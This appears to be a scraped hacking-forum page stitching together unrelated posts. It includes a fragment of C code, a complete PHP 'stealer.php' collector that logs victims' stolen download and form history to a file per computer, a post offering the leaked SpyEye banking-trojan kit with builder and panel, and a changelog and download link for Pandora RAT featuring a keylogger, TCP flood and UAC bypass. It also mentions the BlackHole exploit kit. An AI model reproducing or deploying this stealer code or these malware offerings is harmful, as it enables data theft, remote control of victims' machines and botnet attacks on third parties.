Get form history //each function should keep realPath variable same. free(appDataStr); free(iniFile); return 0; } stealer.php <html> <body> <?php $downloads = $_GET["downloads"]; $computerName = $_GET["computerName"]; $formhistory = $_GET["formhistory"]; $handle = fopen($computerName, 'a'); if(isset($downloads)) { $downloads = str_replace("*-*-*","\t\n", $downloads); fwrite($handle, $downloads); fwrite($handle, "\t\n\t\n"); fwrite($handle, "-----downloads done-----\t\n\t\n"); fclose($handle); } else if(isset($formhistory)) { $formhistory = str_replace("*-*-*","\t\n", $formhistory); fwrite($handle, $formhistory); fwrite($handle, "\t\n\t\n"); fwrite($handle, "-----formhistory done-----\t\n\t\n"); fclose($handle); } ?> </body> </html>
-
- 1
-
Since it's old now in my eyes and i don't consider skids to able to figure out how to use it properly. i might get flammed but i don't care, i don't use it fuck spyeye. This was leaked long time ago, and since you super heckers may still want it here ya go. You cant use the loader unless you're using XP Contains all plugins, collector, panel installers + builder & loader(s) Download; SpyEye v1.3.45-AllPlugins+Collector+Panel-nyu i would upload it to the board but its 68mb
-
Change & Fix Log - 2.2 Beta + New persistence method + Botnet TCP flood module + Connection Group List (Create + View) - UAC Bypass (to cause poor performance. Adding to next versions is better.) - Protect Process (to be repaired) & File Manager "Preview file" module fixed. & Process module list bug fixed. & Active Connection request bug fixed. & Connection timeout bug fixed. & Webcam freezing error fixed. & Keylogger stream error fixed. & Network Shares duplicate list bug fixed. & Chat system lost message bug fixed. & System Privilege duplicate list bug fixed. & Startup manager duplicate list bug fixed. & Script editor module updated and bug fixed. & Lan computer list crash bug fixed. & Remote Printer method is better now. & Plug-in upload problem fixed. & Socks5 module updated. & Builder options compress module updated and fixed. PANDORA RAT RELEASE 2.2 [bETA] Dowload:https://www.sendspace.com/file/mldvj1 video demo:
-
BlackHole Exploit kit 2*
Cartman. replied to Cartman.'s topic in Reverse engineering & exploit development
Da l-am incercat , nu cred ca are limitare incearca si tu...